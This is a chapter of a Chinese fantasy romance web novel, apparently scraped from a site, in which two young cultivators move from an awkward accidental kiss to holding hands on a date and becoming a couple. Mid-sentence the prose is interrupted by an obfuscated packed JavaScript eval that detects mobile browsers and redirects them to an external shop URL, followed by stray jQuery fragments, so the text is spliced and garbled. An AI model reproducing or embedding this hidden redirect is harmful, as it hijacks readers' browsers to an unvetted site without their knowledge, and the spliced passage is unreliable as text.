85.在一起
    一时间,空气都止了流动。

    谢扶光感到一种从未有过的新奇体验,浑身血液不约而同向心脏奔涌,在那不堪重负的小小胸腔中化作烟花轰然爆开,余烬渗进皮肉,蔓延一串酥麻。

    崔惊厄亦是久久失了言语。

    死寂持续了好半晌,他才轻咳一声,心神恍惚脑子缺弦般开口。

    原想寒暄一句“你怎么来了”,脱口的却是:“你……你磕我嘴了。”

    崔惊厄:……

    谢扶光:……

    “不是……”崔惊厄张了张嘴,有心找补几句,碍于此刻精神状态堪忧,终究闭上了这百祸之源。

    “哦,”谢扶光也很恍惚,说出的话像与脑子隔着层浓雾,满满的失真,“失误。”

    “没……没关系,那个,”崔惊厄煞有介事清清嗓子,挑战智商极限般再度尝试开口,“你过来干什么?”

    “我是来……”

    她是来闻他香不香的。

    很简单一句话,谢扶光偏就是不想说,就像她也不慎罹患了那致人吞吐的嘴症。

    迎着崔惊厄探究的视线,她感到环境升温,浑身兀自发烫。

    “我走了。”匆匆撂下一句,谢扶光飞快转身,逃也似的离开他的床榻边。

    手触到门扉时,忽觉落荒而逃实在太怂,于是她较劲般骤然又回头,音调没什么起伏说:“崔惊厄,你挺香的。”

    崔惊厄:???

    这日后,他们之间就不太一样了。

    谢扶光是个刀痴,依然会不时找崔惊厄打一场,可除去打架,她就不会再主动找他说话。

    刚开始,崔惊厄还惶恐当日不慎“磕了嘴”的举动唐突了她,可他越想越觉得冤:

    不对啊!当天他好好睡着觉,是她自己溜进来对他一通莫名其妙,怎么看他才是被唐突的那个吧!

    怀揣莫大冤屈,他兜着圈子向舒扬舟和卢笑绒侧面打探。

    卢笑绒是个实心眼,套话相当省事,他只消“抛个砖”稍加引导,她就能被启发出一长串的“玉”。

    与她谈完,崔惊厄一会儿觉得开朗,一会儿又觉更加糊涂了。

    回去的一路,他都在扯着领口闻自己,唯恐谢扶光不是他希望的那个意思,毕竟他平素爱干净,自己低头闻着也觉挺香的。

    无论大小姐那天是什么意思,这样下去终归不是办法,崔惊厄觉得自己得做点什么。

    于是,在十月十,一年一度的圆满日子,他向谢扶光第一次发出了约会邀请。

    考虑到大小姐不那么如意的艺术品味,崔惊厄没有选择听戏这种相对高雅的音乐活动,而是选了雅俗共赏的茶楼听书。

    渡业山地处吉城,繁盛富饶,不年不节,街上也很热闹。

    去往茶楼的路有些拥挤,谢扶光一不留神撞上一盲眼算命先生,对方手中铜钱撒乱一地,谢扶光忙帮着捡起。

    老先生被撞了也不恼,捡铜钱时还有闲情抚摸上头的纹路。

    铜钱共六枚,很快捡完,离开算命摊前,崔惊厄往算命桌上放了块碎银,算作赔罪。

    正待前行,那老先生却兀地扯住谢扶光衣袖,非要给她看上一卦。

    谢扶光急着去茶楼占地方,不想听这些,遂摸出块更大的银子打发他。

    “谢大小姐。”盲眼先生却一语道破她身份。

    谢扶光脚步不由顿住,她觉得惊奇,伸手在他眼前晃了晃。

    那双眼如无波古井,毫无反应。

    老先生似有所感应,微微笑道:“老朽眼盲心却不盲,为大小姐看卦实非求财,只是老朽窥得几分天机,惟说与有缘人方得心安。”

    他说着,掌心摊开,示意桌上排列整齐的铜钱。

    自被谢扶光捡上来,铜钱的正反面就没有动过。

    “反正反反正反,”不待谢扶光再拒绝,老先生已开口解起卦辞,“是为第二十九卦,坎为水。”

    此话一出,崔惊厄就蹙了眉头。

    找寻重养刀灵之法的几年,他对各行知识皆有涉猎,算卦显然也在其中。

    他一眼即瞧出此为下下卦。

    果然,老者紧接着便道:“一阳陷二阴,两坎相重,是谓险上加险,险阻重重。大小姐,恕老朽直言,你不日将有大难啊。”

    彼时谢扶光对于“大难”还没什么概念,闻言只是想:有就有吧,我好好练刀就行,待大难来时,能打过它我就赢,若打不过,我尽力一场,便是输掉这条命,我也服气。

    崔惊厄却在身后笑道:“老先生,你这卦象解得不对吧?”

    “哦?小友有何高见?”

    “高见谈不上,”崔惊厄摆手,“我只是记得后头还有半句:‘一阳陷二阴,所幸阴虚阳实,虽险难重重,却方能显人性光彩’。”

    “所谓‘大道五十,天衍四九,人遁其一’,凡事皆有一线生机才对。”

    “是了,”老先生闻言,亦哈哈笑道,“那便祝你们永能寻到那一线吧。”

    “崔惊厄,你还会解卦?”离开算命摊子,谢扶光问他。

    崔惊厄一剔眉梢:“我会的东西,可多着呢。”

    谢扶光先没什么反应,过一会儿却又接上了话:“那你帮笑笑算算,今天适合约会么?”崔惊厄叫她出来的同时,卢笑绒也被宁磐请走了。

    她问时倒真没想旁的,只是近来她与崔惊厄之间好生奇怪,怪到每每沉默下来,她便想起那日清晨的事,所以她得费些脑子不让话掉到地上。

    而单纯的话落到别有深意之人耳里,却冲撞出另一层意思。

    “你是想问……”

    崔惊厄没忍住雀跃,笑了一声,但觉今夜天朗气清,一派晴好。

    “适合,我既在今日约你,必是提前算过的。”他愉快答道。

    “啊。”谢扶光点头应声,应完才品出不对,“啊?”

    正巧迎面一列卖艺人提锣扛鼓地蹭过来,本就拥挤的空间登时更加逼仄,或许是怕走散,又或许等待契机已久,崔惊厄轻轻牵起她一角衣袖。

    谢扶光走在他身后,盯着他带有薄茧的指腹与自己衣袖的那点勾连,兀地转了个惊奇的念头:他分明没触碰她,她的手臂却已经开始麻了。

    擦身而过时,卖艺队伍里不知谁的锣没拿稳,磕碰出清越一声,震得她的心动了一下。

    绕过最人头攒动之处,崔惊厄便克制地松开了她。

    距离茶楼已没多远,谢扶光惦记着那酥酥麻麻的奇怪反应,佯装行走间不小

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182545|133453||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    心的触碰,雏鸟起飞一样朝崔惊厄掌心伸出试探的小指尖。

    见崔惊厄迟钝得可以,恍若未觉。

    她愈渐感到那股酥麻有些舒服,一次过后还觉不够,指尖又试探着蹭了一次。

    第二次过后,又有第三次……

    短短一截路,承载了她太多的“不小心”。

    终于行到茶楼门口,谢扶光停下作乱的手,她变小心了,崔惊厄却“不小心”起来。

    他的“不小心”远比她更拙劣,瘦长手指先自她袖口蜿蜒而过,而后才寻到她指尖,向上挪移得很缓慢,每一步都为她留足了躲避的时间。

    谢扶光抬眼,发现他也正垂眸看她,两人相隔一段绮丽薄光,为这场对视平添几许旖旎。

    她手指一蜷。

    便是再迟钝,这会儿也看懂了他是何意思。

    察觉她手指的蜷缩,崔惊厄入侵的指尖也止了动作,在原处停了一会儿,似有要退回之势。

    但赶在他退回之前,谢扶光向前进了一寸,勾住了他过分君子的手指。

    当是时,茶楼里说书人的声音透过重重帷帐影影绰绰传出。

    “……总有那么个人,你看他第一眼,就知道你们之间故事还没完……”

    “大小姐,来晚了,”崔惊厄往里瞅了眼,努力想做出副无奈神色却没能压下唇角的勾,大概因为激动,他声音微颤,“里头故事已经开场,底下也没位置了。”

    谢扶光飘飘然听着,并不觉得遗憾,这会儿便是进去只怕也是心猿意马,她现在已经浑身都麻了。

    “所以我们要换个地方,把这没完的故事续上么?”他接着问。

    谢扶光浑浑噩噩点头。

    这一夜,她似是随他逛了街,游了湖,吃了些不知味道的食物,具体细节谢扶光都忘记了,只记得整整一晚,他们的手都没放开过。

    谢扶光和崔惊厄在一起了。

    有人欢喜有人忧。

    喜的是当事人和大小姐的忠实跟班卢笑绒。

    至于忧的,那可太多了。

    其中以嘴硬妹控舒扬舟首当其冲。

    他十分不明白:

    为什么前不久还整整齐齐的四人组,另外三个比赛似的都找到了归宿;

    又为什么他家那看似断情绝爱的臭脸白菜,突然就被一头笑面猪给拱出了自家菜园;

    又又为什么那笑面猪剑术高强,他打了十年都没打过。

    千言万语千头万绪尽汇成一句:他恨!

    剩下除去妄图攀谢扶光这根“高枝”的凤凰男修,和倾慕崔惊厄无果的伤情女修,还有一人的不豫不容忽略。

    “谢白扇”素来不喜谢扶光身上掺杂太多人的情感,得知此事更是怒不可遏,但谢扶光这些年有伙伴相伴,早不再是当年那个一味受他雕琢的五岁小姑娘。

    对于他“谈情会影响修炼”的指控,谢扶光只有理有据称:“父亲当年与母亲谈情,不仅没影响修炼,还成就了一段佳话。”

    谢扶光本人的存在就是对他那套说辞赤裸裸的嘲讽,“谢白扇”哑了声,终究没再多干涉什么,只在最后简单提了一句不日后的万里悲丘试炼。

    他称以她现在的能力,或许可以提前一届参加。